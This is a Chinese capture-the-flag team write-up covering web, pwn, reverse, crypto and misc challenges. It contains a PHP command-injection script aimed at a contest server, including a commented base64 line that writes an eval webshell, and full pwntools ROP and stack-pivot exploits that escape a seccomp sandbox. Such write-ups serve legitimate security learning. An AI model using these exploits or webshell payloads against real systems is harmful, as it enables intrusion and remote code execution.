久违的题解来啦!!!

沙耶之歌战队

  1. 解题过程中,关键步骤不可省略,不可含糊其辞、一笔带过。
  2. 解题过程中如是自己编写的脚本,不可省略,不可截图(代码字体可以调小;而如果代码太 长,则贴关键代码函数)。
  3. 您队伍所有解出的题目都必须书写WRITEUP,缺少一个则视该WRITEUP无效,队伍成绩将无 效。
  4. WRITEUP如过于简略和敷衍,导致无法形成逻辑链条推断出战队对题目有分析和解决的能 力,该WRITEUP可能被视为无效,队伍成绩将无效。
  5. 提交PDF版本即可

战队信息

  • 战队名:沙耶之歌
  • 排名:3

解题情况

所有题目的附件👇

Web

babysql

sqlmap一把梭,用个space2mssqlhash tamper即可。

ezphp

7.1.0 内置的随机数产生算法从 libc rand 函数改成 » 梅森旋转伪随机数生成算法。

所以可以爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
mt_srand(time() + 1);
$cmd='ls+-al+./';
#$cmd='echo%20PD9waHAKZWNobyAnbXFtJzsKQGV2YWwoJF9QT1NUWydjbWQnXSk7Cg==|base64%20-d>mqm.php';
$a = array("system", $cmd);
for ($i = 0; $i <= 10000; $i++) {
array_push($a, "Ctfer");
}
shuffle($a);

$n1 = array_search('system', $a);
#echo $n1 . ' ' . $a[$n1] . '<br>';
$n2 = array_search($cmd, $a);
#echo $n2 . ' ' . $a[$n2] . '<br>';

// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://1.14.97.218:21659/index.php?cmd=" . $cmd . "&b=" . $n1 . "&c=" . $n2);
#print_r("http://1.14.97.218:21659/index.php?cmd=" . $cmd . "&b=" . $n1 . "&c=" . $n2);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 抓取URL并把它传递给浏览器
$s = curl_exec($ch);
print_r($s);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);

然后burpsuite跑一下即可。

这题没权限写马,浪费了很多时间,可惜。

所以总结一下:一般情况下,非文件上传功能的目录都是不给 w 权限的,所以能执行命令就不要写🐎

PWN

pwn3

题目分析(赛后复现的赛中分析)

静态链接的 elf,逻辑比较难以分析,不过根据题目的描述选择直接 down 下来跑一下看看。

发现是一个迷宫,用 wsad 上下左右移动,结果显而易见,走到出口之后打印了我们一个 flag 字符串,其它什么都没有给,但是貌似最后还有一个输入,考虑一下栈溢出,输入大量数据来确定。

为了方便调试还是选择用脚本跑掉前面的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from time import *
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
p.sendline(i)
gdb.attach(p)
p.interactive()

结束之后输入大量的 a 发现 0x4017cc 的返回指令返回到 0x6171717171717171,说明我们写的 a 覆盖到了返回地址,这里我们就能劫持程序流了。

反复跑脚本确定了缓冲区大小是 0x178,我们需要在 0x180 之后输入返回地址劫持。由于是静态链接,静态链接中能找到调用的 execve 函数,直接使用 gadget 调用结束。在静态链接中,想要准确的找到函数的位置基本是挺难的,但是 execve 还是比较好找的,我们直接搜 /bin/sh 字符串,然后交叉引用就能看到。

就是图中 0x5cd630 函数。

然后我们补一下脚本,这里为了方便调试,我们直接把断点打在返回指令的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from time import *
context.log_level='debug'
p=process('./pwn')
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
p.sendline(i)

pop_rdi=0x00000000004008f6
pop_rsi=0x000000000040417f
pop_rdx=0x000000000051d4b6
execve=0x5cd630

payload=b''
payload+=p64(pop_rdi)+p64(elf.search(b'/bin/sh').__next__())
payload+=p64(pop_rsi)+p64(0)
payload+=p64(pop_rdx)+p64(0)
payload+=p64(execve)
gdb.attach(p,'b *0x4017cc')
p.sendline(b'a'*0x180+payload)

p.interactive()

当我以为成功的时候

发现 shell 并没有用,于是才发现这题开了沙箱保护,禁用了 execve 系统调用,因此我们的提权计划宣告失败。

那我们只能选择 orw 去读出 flag,但是当把所有的 gadget 找齐拼接好以后发现他溢出长度还有限制。

于是这个时候我只能选择栈迁移,不过栈迁移之前需要在一个确定可读可写的位置写上 rop 链才能达到目的。

这里还需要一个最终的 gadget:pop rdx ; pop rsi ; ret。不然发现长度还是不够,而我最终的 exp 则是刚刚好利用完所有的空间,这里还省了一个 pop rax ; ret,因为它程序运行到这里就直接 rax=0 了,所以这里可以省下 17 字节。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from time import *
context.log_level='debug'
#p=process('./pwn')
p=remote()
elf=ELF('./pwn')
path='sssssdddwwwdddwdww'
s=0
for i in path:
for j in range(10):
p.recvline()
if i=='w':
s+=1
if s>5:
pass
p.sendline(i)

pop_rax=0x0000000000400a4f
syscall=0x00000000004025ab
pop_rdi=0x00000000004008f6
pop_rsi=0x000000000040417f
pop_rdx=0x000000000051d4b6
pop_rbx=0x0000000000402498
pop_dx_si=0x000000000051d559
buf=0x98a000
leave=0x00000000004017cb
payload=p64(0)+p64(pop_rax)+p64(2)#open
payload+=p64(pop_rdi)+p64(elf.search(b'flag').__next__())
payload+=p64(pop_rsi)+p64(0)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(0)
payload+=p64(pop_rdi)+p64(3)
payload+=p64(pop_rsi)+p64(buf)
payload+=p64(pop_rdx)+p64(0x100)
payload+=p64(syscall)

payload+=p64(pop_rax)+p64(1)
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(buf)
payload+=p64(pop_rdx)+p64(0x100)
payload+=p64(syscall)
pa=b''
#pa=p64(pop_rax)+p64(0)
pa+=p64(pop_rdi)+p64(0)
pa+=p64(pop_dx_si)+p64(0x100)+p64(buf+0x300)
pa+=p64(syscall)+p64(leave)
#pa+=p64(pop_rdx)+p64(0x100)+p64(syscall)
p.recvuntil('flag')
gdb.attach(p,'b *0x4017cc')

p.sendline(b'a'*0x178+p64(buf+0x300)+pa)

sleep(2)

p.send(payload)#orw链
p.interactive()

运行结果

赛时截图:

不管怎么说,这题拿到了一个一血,还是很开心的,但是据说这题有更简单的做法,因为程序运行的时候会分配一个可读可写可执行的段,而我们可以利用这个段写 shellcode 去得到 flag,而 pwntools 自带构造 shellcode 的函数,可以让我们方便去构造 shellcode。

Re

zandroid

zip打开,找资源文件发现直接 flag 在 mipmap-xxxhpdi-v4 下面有一个 pic1.png 上面画着 flag。

我的 re 什么时候才能站起来啊,听说这次 re 异常简单,而我就是不会。

Crypto

rssssa5

用sagemath跑下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import gmpy2
e = 65537
n = 21795945409392994055049935446570173194131443801801845658035469673666023560594683551197545038999238700810747177248724184844583697034436178042499504967917978621708536213230969406811902366917932032050583747070735750876593573387957847683066895725722366706359818941065483471789173682177234707645138490589285500875222568286917243861325846262174331736570517513524474322519145470883352586121892275861245291051789531734179640139953079522307426687782419075644619898733819937782418589025945603603989100805717550707637938272890461763518245458692411433603442554397633470070254229240718705126327921819662662201896576503865953330533
c = 1700765718465847687738186396037558689777598727005427859690647229619648539776087318379834790898189767401195002186003548094137654979353798325221367220839665289140547664641712525534203652911807047718681392766077895625388064095459224402032253429117181743725938853591119977172518617563668740574496233135226296439754690903570240135657268737729817911404733486976376064060345507410817912670147466261149172470191719474107592103882894806322239740349433710606063058170148571050855845964674224651003832579701204330217602742005466066589981707592861990283864753628591214636813639371477417319679603330973431803849304579330791040664
p = 1426723861968217959675536598409491243380171101180592446441749834738176786277745723654950385796320682900434611832789544257790278878742420696344225394624591757752431494779

PR.<x>=PolynomialRing(Zmod(n))

k=x*2**560+p
k=k.monic()

root = k.small_roots(X=2^464,beta=0.45,epsilon=0.05)
p=int (root[0])*2**560+p

q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(m)

然后解下hex即可

1
DASCTF{ce73935b2e83a78aa5079a9e59ae4980}

math

思路大概就是对每一个操作求逆,直接跑个脚本完事

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
import math
str = 'abcdefghijklmnopqrstuvwxyz0123456789+='
c='u66hp7nuh01puoaip10pi6o0vzavnu11'
n=176778040837484895481963794918312894811914463587783883976856801776290821243853364789418908640505211936881707629753845875997805883248035576046706978993073043757445726175605877196383212378074705385178610178824713173854530726380795438083708575717562524587045312909657881223522830729052758566504582290081411726333
m=''
key=n-1
for i in c:
k=((str.index(i)-7)*inverse(key,37))%37
m+=str[k]
print(m)

MISC

checkin_gift

拿到发现是两张图片整合而成的,分离图片时发现中间有一串gift,刚开始以为是base64,怎么试都还是错的,后来才发现不是,最后拿去解码拿到flag

m4a

拿到一个没有后缀的文件

拖入010发现文件末尾有疑似压缩包关键字

但是好像是倒着的,用瑞士军刀倒回来

保存下来准备打开,但是显示损坏

用WinRAR修复一下得到一个完整的压缩包

但是发现解压需要密码,爆破无果,看了一会别的题目回到这个题的时候,发现题目一直在强调m4a的文件类型,在010中反复查看,突然注意到开头的mp,发现文件中有好多个m和p字母出现

因为没有很明显的文件头和文件尾,脑洞一开猜想会不会是mp3或者mp4,于是改了个文件尾,发现可以打开(打开的一瞬间吓我一跳、、)

正经人当然纯靠耳朵听摩斯密码啦(bushi

打开Au一顿操作猛如虎

翻译一下

解码一下

拿到压缩包密码,打开压缩包

拿到一串字符,交了一下发现错误,文件名是atbash,在瑞士军刀中搜索发现有此方法,拖入后将得到的字符上交,还是错误。

试了一下签到题里用过的rot13,还是错误,只能将解密库里的解密一个一个试过去,发现居然是47、、(远在天边近在眼前

提交得到flag

Unkn0wnData

拿到一张图片打开核对文件头文件尾发现尾端多出一部分

把尾端多出来的部分拿去解密

用base64解密后只能看到前面部分,后面依旧是乱码,但是很有规律,结合做题经验发现是我最讨厌的表情符号

然后拿key

用Stegsolve解码下图片

504B,明显zip文件

处理下文件

1
2
3
4
5
6
7
8
9
10
f=open('./key.txt','r')

lines=f.readlines()
for line in lines:
i=0
for s in line[:len(line)]:
i+=1
print(s,end='')
if i%2==0:
print(':',end='')

发现是键盘流量,但是格式不太对,写个脚本添加冒号,核对格式后直接套用大佬的脚本

Snipaste_2022-09-24_13-56-16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []
keys = open('key1.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))


解密

提交